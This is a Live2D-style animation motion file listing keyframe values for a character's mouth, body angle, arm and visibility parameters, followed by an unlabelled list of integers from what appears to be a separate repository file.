PARAM_MOUTH_OPEN_Y=0,0,0,0.07,0.14,0.2,0.27,0.34,0.41,0.27,0.13,0.13,0.07,0,0,0,0,0,0,0,0,0.09,0.18,0.184,0.188,0.44,0.69,0.81,0.93,0.46,0,0.25,0.5,0.75,1,1,1,0.72,0.44,0.49,0.53,0.39,0.25,0.235,0.22,0.204,0.188,0.54,0.89,0.45,0.02,0.43,0.85,0.54,0.24,0.64,1,0.68,0.33,0.17,0.02,0.05,0.09,0.3,0.5,0.42,0.33,0.25,0.17,0.08,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 PARAM_MOUTH_AWAWA=0 PARAM_MOUTH_SCALE=0 PARAM_CHEEK=0 PARAM_SWEAT=0 PARAM_BODY_ANGLE_X=0,0,0,0,0,-0.05,-0.19,-0.42,-0.7,-1.04,-1.41,-1.8,-2.2,-2.59,-2.96,-3.3,-3.58,-3.81,-3.95,-4,-3.97,-3.89,-3.75,-3.57,-3.35,-3.1,-2.8,-2.48,-2.15,-1.78,-1.4,-1,-0.6,-0.18,0.24,0.66,1.07,1.48,1.88,2.28,2.65,3.01,3.35,3.67,3.95,4.21,4.44,4.64,4.79,4.91,4.98,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5 PARAM_BODY_ANGLE_Y=0 PARAM_BODY_ANGLE_Z=0,-0.16,-0.56,-1.11,-1.75,-2.41,-3.07,-3.69,-4.21,-4.63,-4.9,-5,-4.95,-4.82,-4.61,-4.33,-3.99,-3.59,-3.15,-2.67,-2.15,-1.61,-1.07,-0.5,0.07,0.61,1.15,1.67,2.15,2.59,2.99,3.33,3.61,3.82,3.95,4,3.9,3.61,3.17,2.6,1.92,1.18,0.4,-0.4,-1.18,-1.92,-2.6,-3.17,-3.61,-3.9,-4,-3.96,-3.83,-3.64,-3.39,-3.08,-2.71,-2.27,-1.8,-1.25,-0.66,0,0.79,1.49,2.14,2.72,3.22,3.67,4.04,4.35,4.59,4.77,4.9,4.98,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5 PARAM_UPPER_BODY=0 PARAM_BREATH=0 PARAM_HAIR_FRONT=0 PARAM_HAIR_SIDE=0 PARAM_HAIR_BACK=0 PARAM_HAIR_BACK2=0 PARAM_ARM_L_A=0 PARAM_ARM_R_A=0 PARAM_ARM_CHANGE_A=0 PARAM_ARM_L_B=0,-0.19,-0.69,-1.41,-2.31,-3.3,-4.34,-5.4,-6.42,-7.37,-8.24,-8.95,-9.51,-9.87,-10,-9.94,-9.77,-9.5,-9.14,-8.72,-8.22,-7.66,-7.07,-6.45,-5.79,-5.12,-4.43,-3.74,-3.06,-2.4,-1.75,-1.14,-0.55,-0.01,0.48,0.91,1.29,1.59,1.81,1.95,2,1.989,1.96,1.91,1.84,1.75,1.64,1.51,1.36,1.19,0.99,0.78,0.55,0.28,0,-0.35,-0.67,-0.98,-1.25,-1.51,-1.74,-1.96,-2.15,-2.33,-2.48,-2.62,-2.73,-2.83,-2.9,-2.96,-2.99,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3 PARAM_ARM_L2_B=0,-0.002,-0.007,-0.017,-0.029,-0.045,-0.064,-0.09,-0.11,-0.14,-0.17,-0.2,-0.24,-0.28,-0.32,-0.36,-0.4,-0.45,-0.5,-0.55,-0.6,-0.65,-0.71,-0.76,-0.82,-0.88,-0.93,-0.99,-1.06,-1.12,-1.18,-1.24,-1.3,-1.37,-1.43,-1.49,-1.55,-1.62,-1.68,-1.74,-1.81,-1.87,-1.93,-1.99,-2.05,-2.11,-2.16,-2.22,-2.28,-2.33,-2.38,-2.43,-2.48,-2.53,-2.58,-2.62,-2.66,-2.7,-2.74,-2.78,-2.81,-2.84,-2.87,-2.9,-2.92,-2.94,-2.959,-2.973,-2.985,-2.993,-2.998,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3 PARAM_ARM_L3_B=0,0,0.004,0.008,0.014,0.022,0.031,0.042,0.054,0.067,0.081,0.097,0.114,0.132,0.151,0.171,0.19,0.21,0.24,0.26,0.28,0.31,0.33,0.36,0.38,0.41,0.43,0.46,0.49,0.51,0.54,0.57,0.59,0.62,0.64,0.67,0.69,0.72,0.74,0.76,0.79,0.81,0.83,0.849,0.868,0.886,0.903,0.919,0.933,0.946,0.958,0.969,0.978,0.986,0.992,0.996,0.999,1,0.95,0.79,0.55,0.24,-0.13,-0.55,-1.01,-1.5,-2,-2.5,-2.99,-3.45,-3.87,-4.24,-4.55,-4.79,-4.95,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5 PARAM_ARM_R_B=0,0.04,0.14,0.28,0.46,0.66,0.87,1.08,1.28,1.47,1.65,1.79,1.9,1.97,2,1.96,1.85,1.67,1.43,1.14,0.81,0.44,0.05,-0.37,-0.81,-1.25,-1.71,-2.18,-2.62,-3.07,-3.5,-3.91,-4.3,-4.66,-4.99,-5.28,-5.52,-5.72,-5.87,-5.97,-6,-5.89,-5.59,-5.15,-4.62,-4.02,-3.39,-2.76,-2.15,-1.58,-1.06,-0.63,-0.29,-0.08,0,-0.04,-0.14,-0.29,-0.49,-0.71,-0.95,-1.21,-1.46,-1.73,-1.98,-2.21,-2.43,-2.62,-2.78,-2.9,-2.97,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3 PARAM_PARAM_ARM_L2_B=0,-0.002,-0.007,-0.017,-0.029,-0.045,-0.064,-0.09,-0.11,-0.14,-0.17,-0.2,-0.24,-0.28,-0.32,-0.36,-0.4,-0.45,-0.5,-0.55,-0.6,-0.65,-0.71,-0.76,-0.82,-0.88,-0.93,-0.99,-1.06,-1.12,-1.18,-1.24,-1.3,-1.37,-1.43,-1.49,-1.55,-1.62,-1.68,-1.74,-1.81,-1.87,-1.93,-1.99,-2.05,-2.11,-2.16,-2.22,-2.28,-2.33,-2.38,-2.43,-2.48,-2.53,-2.58,-2.62,-2.66,-2.7,-2.74,-2.78,-2.81,-2.84,-2.87,-2.9,-2.92,-2.94,-2.959,-2.973,-2.985,-2.993,-2.998,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3 PARAM_ARM_R3_B=0,0,0.004,0.008,0.014,0.022,0.031,0.042,0.054,0.067,0.081,0.097,0.114,0.132,0.151,0.171,0.19,0.21,0.24,0.26,0.28,0.31,0.33,0.36,0.38,0.41,0.43,0.46,0.49,0.51,0.54,0.57,0.59,0.62,0.64,0.67,0.69,0.72,0.74,0.76,0.79,0.81,0.83,0.849,0.868,0.886,0.903,0.919,0.933,0.946,0.958,0.969,0.978,0.986,0.992,0.996,0.999,1,0.95,0.79,0.55,0.24,-0.13,-0.55,-1.01,-1.5,-2,-2.5,-2.99,-3.45,-3.87,-4.24,-4.55,-4.79,-4.95,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5,-5 PARAM_ARM_L_C=10 PARAM_ARM_R_C=10 PARAM_CLOTHES_A=0 PARAM_CLOTHES_B=0 PARAM_CLOTHES_C=0 VISIBLE:PARTS_ARM_01_L=0 VISIBLE:PARTS_ARM_01_R=0 VISIBLE:PARTS_ARM_02_L=1 VISIBLE:PARTS_ARM_02_R=1 VISIBLE:PARTS_ARM_03_L=0 VISIBLE:PARTS_ARM_03_R=0 VISIBLE:PARTS_CLOTHES=1
{ "pile_set_name": "Github" }
3 5 9 2 5 5 5 7 3 5 5 3 6 7 5 3 3 3 5 7 2 3 7 7 5 5 5 6 7 5 3 7 2 3 7 10 3 9 2 3 3 3 3 4 3 10 5 5 5 4 7 3 4 5 15 7 8 4 7 6 7 3 3 5 3 5 6 11 5 21 8 3 3 2 3 5 5 9 5 3 5 3 3 3 5 5 2 8 4 5 5 7 8 7 9 9 6 3 7 5 3 9 3 3 5 3 3 6 5 5 5 14 5 7 7 2 3 5 5 3 12 5 7 9 5 12 3 5 7 9 8 5 5 7 7 11 7 7 5 4 7 5 5 3 9 5 9 10 16 2 8 9 7 7 3 3 6 10 5 5 7 3 7 7 5 5 2 3 5 7 7 5 5 5 5 6 3 7 5 11 3 5 3 6 5 5 5 5 7 5 3 7 5 3 7 7 10 7 5 7 7 3 7 5 5 10 10 9 11 7 5 5 7 5 5 10 7 5 3 4 9 35 3 5 5 2 9 7 12 5 5 12 3 6 5 11 3 8 3 5 3 7 7 7 3 6 3 5 10 3 3 5 3 5 3 14 8 8 5 7 9 3 9 5 5 5 5 3 5 7 5 5 21 2 7 9 5 3 5 3 6 3 5 5 7 9 5 3
{ "pile_set_name": "Github" }